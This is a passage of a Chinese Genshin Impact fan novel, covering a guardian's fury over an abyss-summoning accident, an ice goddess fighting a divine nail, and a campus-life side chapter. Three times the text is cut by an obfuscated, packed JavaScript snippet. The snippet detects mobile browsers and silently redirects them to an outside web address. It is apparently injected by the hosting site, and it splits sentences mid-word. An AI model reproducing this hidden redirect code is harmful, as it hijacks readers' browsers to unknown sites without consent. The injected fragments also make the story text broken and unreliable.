因缪尔研究员这次整出的乱子,不仅让他的两个助手当场丧命,更是让隔壁的两个实验室研究员遭受无妄之灾,遭受了不同程度的撕咬伤痛,严重的要在医院度过余生。只有因缪尔这个罪魁祸首因为献上了渴求黑暗之心,所以活到了静原赶到救场的时刻,幸运的保住了他的四肢和头颅。 静原笑了一下:“你知道吗,舒瓦瑟尔。科学院起码有三分之一的人我都想捏死。” “……”舒瓦瑟尔沉默。 “你该庆幸我还待在这个位置上。”静原徒手捏碎了因缪尔的手腕和膝盖骨,剧痛硬生生叫人类从幻象中睁开眼,被迫回到清醒的现实。静原把因缪尔甩给警备队队长,大步离开这处废墟。 有时候世界就是这样操蛋,无辜的人倒在医院靠机械续命,罪魁祸首却要接受程序正义,被一轮轮审判然后送进梅洛彼得堡服刑。 他害死的那些人就这样死了,谁让枫丹最高量刑死刑不适用广大群众呢? 啊,说来可笑,上一个被判处死刑的还是水神芙宁娜。 静原如果不是待在大守护者这个位置上,明面上不能无故杀人,他真想叫深渊使徒把因缪尔拖进深渊弄死啊。 只要一想到他保护的是这种人,静原就想好找根鞋带上吊吊死。 气冲冲把自己摔进海底贝壳床睡觉的静原摆明了拒绝见人。 当年就应该坚持到底辞职的,就当枫丹本地平平无奇的长生种也没有什么不好,变成人进梅洛彼得堡打螺丝也行的,美露莘的政审问题只要不跟他在一个户籍档案上就可以解决。 啊啊啊啊啊啊啊啊啊啊啊啊!!! 果然好想杀人啊!!! 静原气得在海底怒锤贝壳床,给百年老砗磲一下子凿得粉碎,当天晚上还是回到枫丹那维莱特住处休息。老叔斯库拉听说他把床砸了,带着旧日之海那些年头极高的暖橙色大贝壳新床送到枫丹海。 “人类这种生物就是这样,有你欣赏的品性和灵魂,自然也会有你厌憎的败类和蛀虫。”斯库拉宽解他,“卡吕普迪斯,你生活在人类社会,总要接受这些的。” 101.我期待着 “我讨厌人类。” 坐在最高审判官办公室的大守护者振振有词:“人类真是一种可怕又难以揣测的生物。” “……真的吗?”那维莱特轻声反问,不知道是在问哪一句,“是科学院因缪尔研究员私自复刻深渊召唤法阵的事情吗?” 静原已经为这事烦了好几天,像喉咙里卡了根刺似的:“就是他……也不只是他。” “雷内,纳奇科鲁兹的手记本该作为禁忌彻底封禁,因缪尔是从何处获得原本的,这件事的确疑点重重。执律庭已经着手遣人调查科学院。”那维莱特说,“卡吕普迪斯,我知晓你为救下来的人是造成灾难的凶手而愤怒,但救援这个行为本身是绝对正义的。你当然可以为无法救下更多受害者悲伤可不必耿耿于怀。” “心若是能控制,我就不是我自己,而是仿生自律机关了。”静原深呼吸,强迫自己冷静下来,“因缪尔的案子大概什么时候能开庭?” “用最快的速度走完程序,保守三十五个工作日。”那维莱特看见他的表情不太好,“……是有什么要紧事吗?” 静原叹了一口气:“至冬那边的消息是说大概还有一个月,冰神就要行动起来。枫丹目前没有水神,虽说不必急于表态站队,但有时候有些事不是我们不表态就能置身事外的。” 那维莱特思索片刻,也不知道脑子里都想了些什么,只是说:“一个月的时间还是太短暂了。战线铺长绝非短时间内能做到的事情,未来很有可能产生新的变故,静观其变即可。” 而且枫丹就在天空岛下面,无论其他国家怎么闹腾,枫丹都不能舞到明面上去。不是谁都可以像芙卡洛斯那样以身入局骗过天理。 “还有深渊教团,他们在枫丹活动得少,但终归不是一路人。必要时刻……” “污染?”静原最关心的还是这个,深渊暗界有太多魔物,污染传播性不亚于瘟疫。不是说利用就能利用的。 “深渊教团不过是深渊力量的承载体,怀揣不甘的怨愤走到一起献身黑暗。我无从评判。”那维莱特眉眼疏冷,只是看向眷属,“但是不必担忧,这世间并无绝对的死局,也无完全不可利用的事物。你拥有预知的力量,不应该轻易加入战局,成为死亡名单上的一员。” “卡吕普迪斯,静下心来。你要做的就是站在我身后去看这盘棋局,思考如何破解。” 翻译下来就是这个意思: 乖崽,你就不是武斗派的,拿着外挂到旁边去玩,天塌下来还有我顶着。 静原:(●—●) 静原:“好吧,我知道了……” 至冬那边旗帜鲜明举起叛旗的时候,旅行者已经回到了旅途最开始的地方,至冬。 远征军回到了蒙德,带来了前线最清晰最完备的魔物数据。西风骑士团慷慨的和各国分享——除了至冬。 静原拿到这些数据的时候,正盘腿坐在海下洞窟里,看着自律机关昼夜不息的将原始的洞窟打造成符合人类居住的模样。防水层铺了一层又一层,排气管道密密麻麻,静原多看一眼就要发昏。 枫丹动能科学研究院院长亲自操刀在海下洞窟建立新的分院,静原跟个大爷一样抱臂围观,表情像是在场人士欠了他三千亿一样臭。 科学院自因缪尔事件后,院长痛定思痛,找到静原彻夜长谈,终于得到个准信:研究深渊可以,别让天空看到。也不知道这小老头琢磨出个什么秘密来,一脸凝重的表示科学院知晓未来的方向了。 静原:你怎么不早点知道?我暗示的次数还少了吗? 总之海下分院,世外科学研究院抠搜着经费加工,总算在三个月内陆陆续续修建好了出入管道和相关研究室,把那些精密设备仪器小心翼翼运送进来,磕了碰了,舒瓦瑟尔那家伙都心痛得不行。 水下的自然光源稀少,静原送了一批荧光植物和发光的海鱼进来,安排在宿舍之类的地方。暗蓝色营造出幽秘的环境,如果没有深海幽闭恐惧症,一般都能看着粼粼波光入睡。 世外科学研究院秘密建成,静原鼓鼓掌:“终于开窍了,我以为你们还要跟我死磕一百多年。” 事务官舒瓦瑟尔:“卡吕普迪斯大人,您也未曾说过,连天空都不可信任啊。” “不是不能信任,而是只要人类还有野心,还有欲望,此世的天空就是最大的敌人。”静原检查着管道有无漏水的问题。 舒瓦瑟尔补充道:“因为人类的野心和欲望永无止境。” “所以如果你们执拗的在地上研究这些未知的世外知识,总有一天会被天空毁去。到时候一起覆灭的可不只是你我,而是大地上的文明。”静原叹气,“我也是很累的好吗?雷内和雅各布他们都知道乖乖的躲到水下研究,你们这些家伙还要跟我犟。璃月的驴都没你们倔。” 那段时间他做梦都是天理一根寒天之钉把枫丹砸穿。 舒瓦瑟尔沉默,他也是研究员出身,当年也确实极其讨厌“多管闲事”的大守护者,上了年纪当上事务官后和大守护者直接接触多了,才发现只要不触及一些禁忌,对方也不是科学院内部说的那么不可理喻。 因缪尔事件后,现今科学院成员几乎都被吓到了。执律庭来查案的时候相当轻松的抓到了那批偷摸研究雷内笔记的研究员,挨个拷走。 “卡吕普迪斯大人,人类只能在暗处渴望理解未知吗?”舒瓦瑟尔忍不住询问,“明明站在了万物灵长的顶点,却只能像阴沟里的老鼠一般,在无光的海下研究世界之外的知识。为什么?这难道是错的吗?” 静原平静的注视着他,很多年前也有一个这样的少年嘶声力竭:为什么?!渴求知识,想要自救难道是错的吗? “不。”静原神色清明,“渴求力量,渴求知识,渴求抵达更高的地方,这些都没有错。只是这个世界太脆弱了,祂承受不住任何计划之外的意外。” 静原说:“你的前辈们比你认知中的更为出色,年纪轻轻就明白了预言是真的,为此用尽一切手段去尝试拯救全枫丹。无论是将灵魂与机械融合,还是灵魂与深渊结合,都只是想要人类在灭世的洪水中活下来。即便人类躯体和灵魂研究是禁忌,当年我也默许他们的作为。”即便我早已知晓他们的结局。 “但是他们失败了。”海洋哀伤的注视着一切,深海的守护者说,“抛却□□的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630612|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两种道路他们都失败了,而今你们面对的是比他们当年更艰险的难题,你觉得我敢赌成功的可能性吗?” 眼前的人类低头喃喃:“原来是这样……但,您仍然站在这里,不是吗?” 他仍然选择信任人类,去赌那个成功的可能性。 “因为我见过无神国度的人类触碰天空,去往世外的模样。我期待着你们也能靠自己做到。”静原露出微笑,“即便我总是被你们气的半死。” 舒瓦瑟尔:“……” 很感动,但是后半句话大可不必。 静原不知道什么时候开始,他鼓励人的那句话被传到了其他地方。 “大守护者期待着我们依靠人类自己的力量触碰到天空。”人们是这样说的。 “无神国度的人类,触碰到了天空,去往了世外吗?”有心人想起五百年前毁灭的那个国度,真真正正纯粹靠人类自己建立的强大国度,坎瑞亚。联想一下枫丹那位大守护者的年纪,觉得对方这句话大概确实言之有物。 但天空属于神明,这番话是否有亵渎神明的含义? 枫丹人倒是接受良好,毕竟枫丹现在也是无神的国度了。靠自己就靠自己嘛,大守护者如此期待,肯定有他的道理。 不过有些无良报纸最近总是去偷拍芙宁娜,想挖出“前任水神”对这番话的态度,好添油加醋大肆宣扬。 芙宁娜被骚扰两天后忍无可忍,向美露莘警官求助,这些可爱的小小的女孩子出示身份证明,请相关记者去执律庭喝杯茶。 夏洛蒂听闻这事相当气愤:“我说,就应该好好整顿新闻行业。花边小报添油加醋也太过分了!” 娜维娅把小饼干往她那边推了一点:“怎么说?” 女孩子们聚在一起吃下午茶,克洛琳德和夏沃蕾一起赶到的时候,夏洛蒂已经把报纸拍的噼啪响,义愤填膺:“天天不是编排这个就是造谣那个,前脚说卡吕普迪斯大人是在映射芙宁娜小姐,后脚又说卡吕普迪斯大人反社会。昨天还在批评千织屋的服装设计为吸取眼球不择手段,今天的报纸就在夸另一家服装时尚,吃烂钱的家伙!业内之耻!” “看来你是真的很生气。”克洛琳德落座,招来侍者点咖啡。 夏沃蕾听到千织这个词,耳朵一动:“这是千织的对家买的通稿?” 娜维娅摊手:“八成是这样。前些日子还在阴阳我们刺玫会是枫丹黑恶势力,和枫丹廷勾结。” 克洛琳德诧异:“这话也敢说?” “所以只是阴阳一下啦,没抓到切实证据,刺玫会也不好出手啦。”娜维娅说起这个就很生气,“我们明明是枫丹民众的好帮手,怎么就是黑恶势力了?执律庭从来不允许涉□□派成立时间超过三个月的。” “真是羞于与他们同行。”夏洛蒂叹气,“什么时候能出台法律规范一下记者的报道真实性,但是那样又会约束新闻行业的言语规范作用。哎呀!” 两位枫丹公务员低头喝咖啡,这话她们可不好接。 夏洛蒂趴在桌上感叹:“什么时候大家都会说真话,而不是为了热度为了博眼球捏造一些无中生有添油加醋的东西呢?” 102.世界上的另一个我 其实打仗这个事吧,有时候当事人并没有很深的感受。 静原老老实实待在枫丹境内转悠巡视,世外科学研究院对雷内,阿兰留下的手记如饥似渴的研读,争取在前人留下的笔记上再创辉煌。他的工作就是坐镇海域,把蠢蠢欲动的深渊打压回去。 天理至今未曾对至冬的反抗做出回应,维系者站在天空岛上,冷眼俯瞰世间的一切。 尘世执政之一的女皇不屈从于天理的统治,维系者并无他话。但地上文明的科技一但发展到了某个高度,触及到了某种禁忌的存在,寒天之钉如约降下。 静原本来以为目前提瓦特最先被钉子砸的可能是他们枫丹,谁知道那天流星划过天穹,天空岛恍若璀璨的星子闪烁着不详的红色光芒,银白的寒冰从天而降,目的地恰是北地的雪国。 明明是白昼,寒天之钉的坠落却带来了压抑的黑暗,大音声希,大地上的人类耳畔好似被谁按下了静音键。 那是什么? 这个问题在人类的心头萦绕,挥之不去。 他们看着那雪色的长钉极坠,即将带着彻骨的寒意和神明的裁决降落在提瓦特的某处。 “天呐,那是神迹吧……” “神明啊……” 人们如此感叹。 很快又有人意识到,倘若那长钉不是落在无人处呢?它如果是被天上的神明投放到人类的国度,那个国家的人类……会死吧。 一定会死的吧? 千般思绪纷扰,不过刹那。所有旁观者都以为那钉子会摧毁地表的国度,结果明眼人都看见猩红涌动的气流从地面冲向还未坠地的长钉,就像璃月的红绫舞,无形的素手轻扬,猩红绕着那长钉盘旋,迅速被寒气撑开。 直到猩红被定格,拖举着长钉停在半空,人们才意识到那不是气流。 那是已经被冰冻结的血水。 长钉之下的至冬城鸦雀无声。 冰雪构筑的至冬宫浮在陆地血色大湖之上,扭曲的血水拧成一股绳向上冲挤,又在接触寒天之钉时分化为十几股。冰之女皇迅速补上元素控制,用神的力量来对抗神罚。 那浩瀚的、不可一世的、无往不利的寒天之钉,那曾修补大地裂痕、埋葬文明过往的神明器具被阻拦在半空。 本应振奋人心的场面,但至冬人却遭受了不同程度的精神攻击。 因为血水之中饱含众生的怨愤与哀嚎,涌动着,哭嚎着,挣扎着。离血冰柱稍微近一些的人类都能听到仿若渊底厉鬼的尖啸,无尽的恐惧和哀伤侵袭人类脆弱的心智,就连注射相关抵抗试剂的愚人众士兵都很难抵抗。 “或许这样的精神攻击本就与深渊同源。”博士是这样说的,“万水的发源地,生命的摇篮,提瓦特的海洋竟然也遭遇了如此污染吗?” 以至于依靠海洋的力量驱使流水的某个人鱼,如今释放出来的是猩红的怨愤。 那个赤脚站在女皇身边,披散着蓝色长发的人鱼青年仰头凝视天空岛的方向:“因为只有怨愤是可控的污染。” “污浊能打破天空岛尘封的大门。”青年感受不到寒冷,低下头去注视宫廷周围的猩红大湖,“神之心的力量还是留到之后用吧。” 女皇肩上的雪鸮扑腾了一下翅膀:【感谢您的提醒。】 养在至冬宫后花园湖泊的那条人鱼切片早已死去,博士本想把卡帕的躯体回收利用一下,结果手还没碰到失去生命体征的切片,就叫女皇身边代为传达旨意的雪鸮勒令停手。 处于对女皇的尊敬,博士收回了手。也就是在那个时候,他感受到了有风吹拂脸颊。 青色的蒲公英之风,流转的时间轮盘与波动的空间,三神两权柄的力量就这样展露在博士面前。 他看见“卡帕”睁开眼,湖蓝色的眼里有着明显的竖状瞳仁。曾解剖实验过不少龙类的博士当然知道这样的眼睛代表着什么。 从他面前缓慢苏醒的,恰是一名货真价实的龙。 湖蓝……和卡帕的水蓝是不同的,眼前的龙拥有自己的领地,他是被标记过的。 博士面具下的瞳孔微微睁大了些,他感觉到自己已经在触碰不曾被人类染指的领域 。 “人类,收起你的视线。”[卡吕普迪斯]讨厌人类,这种视线让他感到冒犯。 博士能够感受到无形的压力施加在自己的头颅和脊背上,这种压迫让他久违的感受到不悦甚至是怒意。 所有的攻击都在对方掐住他脖子后停止。 人鱼从湖泊爬出来,双脚踩上雪地:“你该听话的。” 然后扭断了这个博士的脖子。 多托雷从意识共感的状态中抽离,烦躁的捏碎了手中的实验样本。 我们仍未知晓博士到底有多少个切片。 [卡吕普迪斯]在至冬宫留了下来,成为了冰之女皇的座上宾。他的话比卡帕更少,也比卡帕更加抗拒人类的靠近。 执行官们对这个突然用有名字和双腿的人鱼前后不一的态度表示讶异,单很快意识到卡帕和眼前的[卡吕普迪斯],甚至远在枫丹地方那位大守护者卡吕普迪斯不是同一个。 强大、冷漠、傲慢,处于生命之血水的汪洋中心,脸上是一成不变的平淡。明明驱使着不甘的怨愤、痛苦的哀嚎、无助的徘徊污染的血色海水,他脸上的表情波动一直很少。 或许不是很少,只是他们无法直视对方的脸太久。让对方不虞,陡然增加的气压下,人仿佛赤身裸体置于深不见底的海下,海水压强足够轻易摧毁生物的脊骨。 如果他尚且拥有如此力量,更高位格的元素龙王又是何种实力? [卡吕普迪斯]从不将人类的打探放在眼中,因为他有更重要的事要做。 这次轮回的“自己”,似乎也没有蠢到不可救药的地步。那么,自己也该使出全力才好。 “北境又出现深渊裂隙!” 队长听到先遣军送来的情报,几乎是立刻就向女皇请命带队镇压。 女皇这次一反常态,没有立即答应队长,而是看向至冬外的血色冰柱。 女皇说:“叫士兵们全部撤离,我们得人手并不充足,每一枚卒子都要用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649180|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到刀剑上。” 作为军人,服从命令是天职。哪怕不理解女皇如今的命令,队长也还是照做。 那么没有人命去填补的深渊裂隙要如何修补? 在场的每一位执行官都很清楚深渊使徒怎样贪婪的存在,祂没有人的思维,本能的索取地上的一切,渴望着将提瓦特彻底同化。那对提瓦特而言或许不是一件坏事,但对于提瓦特大陆生命来说无异于灭顶之灾。 对于如今的至冬而言,上有天理虎视眈眈,下有深渊频频骚扰,这日子实在是太难办了。可是如果不反抗,至冬只会像五百年前的坎瑞亚一样毁于神之手。 冰之女皇,魔神巴那巴斯不允许,[卡吕普迪斯]也不会允许。 静原特意寻找博士定做了一个切片,就是因为博士获赠了冰神赐予的有关【时间】的力量。而在本世界闹了个天翻地覆的[卡吕普迪斯]足矣以此为准媒介抵达这个为他特意准备了容纳灵魂的躯体的世界。 也是一个尚未走入死胡同的轮回。 感受着北境呼啸风雪中污浊的气息,站在至冬宫顶端的蓝发青年摊开双臂,于是血色汪洋分化出十几股洪流,卷起背病冻住的寒天之钉,像是孩童掰断屋檐下垂的冰棱那样,将一颗长钉拔起,然后投掷向北境都深渊裂隙。 寒天之钉带有天理的力量,能够缓慢的愈合大地的疮疤,封印其下埋藏的深渊力量。如果这次的确钉子不是被刻意投放到至冬宫来砸他的,他想他很乐意看见这颗钉子出现。 可惜世上没有“如果”。 “我既然来了,就不会像上次那样走。”[卡吕普迪斯]甚至是笑着的,他知道某些家伙听得到,“他通过了我的考验,你们输了。” 静原打了个喷嚏。 谁在念叨他? 有点小迷信的静原摸摸鼻子,四下张望了一下,也没找到可疑人物。 毕竟他现在正坐在最高审判官办公室的沙发上喝茶,塞德娜抱着文件给那维莱特看。听到动静抬起头:“需要开窗通风一下吗?” 静原自己去推窗户吹风了:“啊~好多了。总觉得刚刚是有人在念叨我,奇怪……” 那维莱特头也不抬的继续批改文件:“那你应该能感受到呼唤才对。”流水承载着思念,倘若真有人念叨卡吕普迪斯的名字,他是一定能感受到的。 “关键是没有。只是莫名的直觉……哦!我知道了!肯定是那个家伙在背后偷偷骂我!”静原想起某个按理来说已经降临此世的家伙,觉得自己的猜测八九不离十。 那维莱特想了想才明白他在指谁:“原来你和执行官做交易是为了他?看来你们的关系也没有那样差,我很欣慰你能与自己和解。” 静原不可置信:“我最讨厌他了!不可能跟他和解的!只是跟他目的相同而已。” 该利用的时候就得利用,不用这张牌的才是傻子。静原不喜欢[卡吕普迪斯],但是不得不承认对方有点手段在身上,至冬那边开战有他顶着想来能多几分胜算。 静原始终坚定自己和[卡吕普迪斯]两看相厌。 103.番外 提瓦特大学生活日记(一) “你这个冷漠无情的女人,我永远都不会原谅你!永远都不会!*①” 办公室里,紫发蝎尾辫的女人面无表情按下录音播放键,最后那摔门声太响亮了,一个怒气冲冲摔门而去的少年人形象浮现在众多同事眼前。 “阿帽又闹脾气了啊。”侧边单马尾的小女孩看上去似乎读小学,谁知道她只是个子矮,实际年龄一点也不小呢,“影这次没有和他打起来,已经很棒了哦。” 雷电影按了几下手机:“听了你的建议,他果然没有像上次那样砸东西了。谢谢你,纳西妲。” 就是儿子看见她面无表情的拿手机录音,气得眼泪都要掉下来了。 纳西妲安慰道:“毕竟你们之间分开了太久嘛,不过他选择考来提瓦特大学,总归心里对你还是有所期待的。” 不然他为什么要选择有母亲雷电影就职的提瓦特大学,而不是离家更近的愚人众大学呢? 办公室里的女老师们还在就育儿这方面讨论,几个男老师居然也能插得上话。 戴着眼镜的钟离院长给保温杯接满热水冲泡桑椹枸杞桂圆茶,盯着深色的茶汤吹了口气:“如果只是冷处理,稍有不慎情况就会演变为冷暴力。” 纳西妲仰着头,眨眨眼睛:“阿帽的情况钟离先生也了解吧,先让影冷静下来,阿帽的情绪就会稳定一些。” “所以后续应当采取怀柔手段。”钟离谈起自己的育儿心经,“孩子的眼界和阅历不如长者,这是情理之中的事。我们可以理解为冷处理,在迫切需要情感宣泄的青年孩子看来,这或许就是放弃的信号。冷处理的时间越迅速越好。” 纳西妲若有所思:“原来是这样吗……” 雷电影皱起眉:“我从未想过放弃他。我只是……”只是不知道要如何面对这个长久不曾交流的孩子。她并未尽到为人母的抚育责任,她知道的。 “送些礼物如何?”钟离推荐道,“你不善言辞,但打听孩子的喜好,送他感兴趣的事物,总归是不容易出错的。” 雷电影:“那,玩具?” 纳西妲:“这是个不错的想法呀。” 芙卡洛斯:“呃……九月开学阿帽就读大一了吧?成年男孩子也喜欢玩具吗?” “以普遍理性而论,大学生喜欢游戏和运动的居多。”钟离想起自家的义子,“魈那孩子就喜欢打球。送篮球或者足球如何?羽毛球也不错。” 雷电影:“他个子不太高,也不喜欢出汗。”送篮球的话,她觉得儿子会认为她在嘲讽身高。 芙卡洛斯看向在角落备课的熟人:“那维莱特,你觉得年轻男孩都喜欢什么?” 那维莱特想了想:“卡吕普迪斯喜欢点心绘画,莱欧斯利喜欢喝茶看书。” 雷电影下意识的想要下单下午茶来份甜点心,不过是在思考如何给儿子送礼缓和关系,那么……“或许茶叶不错。”年轻的母亲说,“他喜欢苦茶。” 那维莱特:“那我问莱欧斯利要一下店铺链接。” “多谢,那维莱特先生。”雷电影松了口气。 办公室教授们的谈话,静原并不知情,他正在辅导员办公室对自家班里的年轻孩子进行教育。 “卯香菱同学,请你解释一下为什么要在宿舍做饭。”静原看着眼前低着头的靛蓝短发小女孩,“宿舍有规定,禁止使用大功率电器,做饭更是明令禁止的行为。” 香菱低着头,脚尖磨地:“因为,因为食堂的饭菜太难吃了嘛。” 静原:“……你不要唬我。咱们食堂的菜是出了名的容纳五湖四海的好吃。” “容纳五湖四海的好吃……哼,如果是指西芹炒草莓,葡萄干烩火腿,圣女果炖鹌鹑蛋这种,我宁可从这跳下去,也不会承认它们好吃。”香菱恶狠狠道,“这是对食材的亵渎!!” “……这都什么时候出的魔鬼料理。”静原嘟囔着,“但是这也不是你在宿舍做饭的理由啊。难道除了这些,食堂就没有正常东西菜了吗? “香料用得太多,吃不出食材的本味。鸡肉全是冰库的冻鸡,猪肉不知道是在哪个部位的合成肉,牛肉更是淋巴,换在我家餐馆根本看都不会看一眼。米饭蒸得软趴趴的,一点也不劲道,更是不香。”香菱的声音越说越大,腰板越挺越直,连路过办公室的老师都忍不住驻足旁听,“一天天的不是这个鸡就是那个鸡,瓦香鸡、砂锅鸡、三杯鸡、口水鸡、辣子鸡、鸡公煲,鸡丝面,荷包鸡、窖鸡烤鸡炸鸡——我在食堂环顾四周,只听得到那些饲料催熟的肉鸡不甘的呐喊,吃了一个月三十多天感觉自己都要变成一只鸡。” 鸡太多了,静原只觉得耳边全是咯咯哒咯咯哒。 香菱仍然在输出:“想吃点素菜,结果小白菜和蒜末半生不熟难舍难分,娃娃菜和淀粉肠勾芡加水烂烂糊糊。番茄炒鸡蛋不加糖,纯酸。粉丝炒包菜,糊锅。淮山烩木耳这种不适合小葱提香的菜也要撒上一大把香葱,简直就是异端邪教!” “没错!!!”讨厌香葱的静原恶狠狠附和,结果引来隔壁桌位上甘雨导员的咳嗽声提醒。 “导员你也这么觉得吧?军训那会我没时间做菜,吃着食堂的饭菜只觉得生不如死,还不如让教官抓我跑三圈,也好过坐在食堂上刑。校长为什么不请我来当食堂档口厨师?我家三代都是璃月大厨,保证不会让校长失望的。”香菱叹气,显然到现在还在觉得天理校长没有让她当厨师是学校的损失,“等军训结束,我就火速下单了一个小锅在宿舍做菜。功率不够只能做一些闷炖的菜品,要是换个炒锅就好了……” 静原:“你还可惜上了。” 香菱垂头丧气:“对不起,导员。我错了。” 静原颔首:“错哪了。”态度好他就放这孩子回去,写个检讨免了记过。 “错在应该更小心些。今天出门的时候就不应该慌里慌张赶早八,宁可迟到也要把锅藏好。”小姑娘叹气,“我本来还想今晚做水煮肉片的……” 甘雨捂住脸。 静原闭上眼。 “卯香菱!五千字检讨!!明天上午第一节大课结束后送到我办公室来!!!” 门外偷听的书记导员们慌张四散。 小姑娘见拿回锅无望,悲伤的离开了。留下静原面对甘雨,无奈叹气:“这可怎么办啊。” “刚上大学没多久,还不清楚大功率电器烧断电路的危害。抱有侥幸心理倒也在情理之中。”甘雨摇摇头,“这个星期的晚点名,我在PPT上多放几个案例强调吧。” 甘雨和他都带文学院和法学院这一届的新生,办公室工位挨在一起,私交也多了些。 “我几年没吃学校食堂,怎么就变成这么难吃了?”本硕连读毕业留校任教当辅导员的静原怀念当年的食堂,“那会食堂味道还挺不错啊。” 是真的不错,挑食佬静原都吃得习惯。 甘雨悄声道:“据说是换了个承包商,校园论坛上已经有很多孩子反映难吃的问题了。” “校长不管?” “校长不管事,现在是他的秘书维系者处理日常工作。” 静原叹气:“总这样也不好,那小姑娘是真的一肚子气啊。” 甘雨:“我记得卯家在本市餐饮行业做得相当不错,或许有意向在学校开个分店?” 书记刻晴推门而入:“我觉得可以,正好校园南区那边在修建新食堂,卯家万民堂开个分店说不定真的可行。” 静原吃过万民堂的菜,虽然辣,但是香:“明天卯香菱来交检讨,我问问她。” 刻晴也不想再吃学校的垃圾菜,忙到半夜点个外卖结果吃不下去的感觉不想体会更多次了:“我留个档口,有消息了记得通知我。甘雨,下班我们去吃校外那家璃菜吧。” “好啊。” 静原低头噼里啪啦给那维莱特发消息:“下班记得去接希格雯回家,我买菜,问问莱欧警官想吃什么。” 顶着漫画小水龙头像的家长老大很快回复:“苹果炖肉。” “收到!” 静原回复之后就满心期待着下班。 莱欧斯利是提市人民公安局的一位警察,警校时期和当年还在法院实习的那维莱特因为一场案件结识,静原读研的时候莱欧斯利已经正式进入警局工作。为了通勤方便,选择租住在那维莱特家中,如此和大他一岁的静原认识。 目前家里三个男人相处不错。 希格雯是静原友人厄里那斯失踪前留下的孩子,暂住在静原家中,由他代为抚养。那维莱特很喜欢这个可爱的孩子,莱欧斯利更是讨小女孩欢心,家庭关系异常和谐。 那维莱特上完今天最后一节法学大课,开车去附近的小学接希格雯放学。现在的小学门口私家车排起长龙,鸣笛声和汽油味让人不适。他把车停好,步行去门口等孩子放学。 希格雯已经在读五年级了,按理来说可以自己上下学,毕竟家离学校很近——静原千方百计弄到的学区房名额。但是家长们都不放心,轮流接送她。 小学三年级以下的孩子都是班主任领着排队放学,更大些的自行出校门。希格雯背着她的兔子书包蹦哒着奔向那维莱特。 “那维莱特叔叔!”乳燕投林,那维莱特轻松将她抱起来转圈圈,“今天也很想你哦!” “我也很想你。”那维莱特牵着她往前走,“今天在学校过得怎么样?还开心吗?” 希格雯露出天使般可爱的笑脸:“当然开心啦,同学们都很可爱又很友善,我喜欢他们。” “七七再见!瑶瑶再见!我哥哥来接我啦!”可莉背着四叶草书包和好朋友们挥手,“明天继续玩哦!” “好呀!可莉再见。” “好……再见。”七七松开牵着瑶瑶的手,对白术张开怀抱,“白先生……回家。” 白术今天不用在医院值夜班,抱着七七和小朋友们挥手说再见,笑笑离开了。 可莉绕着阿贝多蹦蹦跳跳:“阿贝多哥哥,妈妈今天回来了吗?” “艾莉丝女士的工作还没有结束,不过等会回家,可莉可以和她打电话。” “爸爸!你又喝酒了!”迪奥娜嗅觉灵敏,“你再喝酒,我就不喜欢你了!” “只喝了一杯,一小杯嘛……不耽误事的。” 在超市选完菜,看着今天的泡芙和虎皮卷还不错,静原拿了几盒放购物车里,想着周末放假去市中心的糕点铺子买些点心。 奶油这玩意太长胖了。 回家换鞋,穿围裙,进厨房洗菜做饭。辅导员下班时间比讲师稍微早四五十分钟,那维莱特接完孩子回来正好在炒最后一道菜,莱欧斯利准时下班,汤也煲好了。 三个单身汉搭伙过日子,做饭都是排表来,一人管一周,伙食费定期存一笔公用,月底出示记账明细。这周是静原做饭,他的手艺中规中矩,只要不搞创新就难吃不起来,反正莱欧斯利这不挑食的吃得惯,那维莱特也能填饱肚子,希格雯味觉和常人不一样,三人都捧场得很。 莱欧斯利吃饭的时候会讲一些不透露犯人隐私的案件,美名其曰分享生活加儿童安全教育,希格雯听得超级认真,那维莱特这个法官兼职大学讲师的家伙见缝插针普法,好好一餐桌硬是整成了课堂。 静原已经习惯了这种模式,脸上带着看破红尘的平静。 吃完饭那维莱特收拾桌子,莱欧斯利洗碗,希格雯倒垃圾。静原回房间拿出数位板开画。 是的,他是个小有名气的画手。ID“海鲜不吃海鲜”,正在连载《海鲜一家人》,画一些发生在一个梦里的,大家的故事。 在那个梦中的世界,厄里那斯不止有希格雯一个女儿,他也不止有一个侄女。许多孩子的面容声音名字他都记得,甚至能画出来,但是这个世界没有他们。 所以只是一场梦啊。 倒是那维莱特知道他在画漫画,很高兴的要来了授权,用小水龙当自己的头像。在一众法官讲师真人头像的互联网世界,那维莱特这小水龙简直清新脱俗。 除了那维莱特,倒没有什么熟人扒他马甲。 后台的评论都非常可爱,互联网上的大家肆意的发泄着情绪,对于静原笔下的海鲜家人释放热情,每条短漫都有过万的点赞收藏评论。 海鲜不吃海鲜上传【莱欧鲨鲨的教学小课堂】。 灰白黑三色的蓝眼睛鲨鱼名字叫莱欧,粉丝们亲切的称呼为莱欧鲨鲨,后来静原也沿用了这个称呼。想到家里那位莱欧斯利警官的蓝眼睛和笑脸,静原就憋不住笑。 海鲜不吃海鲜上传【水龙王的普法小课堂】。 两小时后他洗完澡看后台数据,粉丝们在欢呼。 “好耶好耶,今天是双更!!” “希希你有莱欧鲨鲨和水龙王这么高质量(硬核)的海底教学,做什么都会成功的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 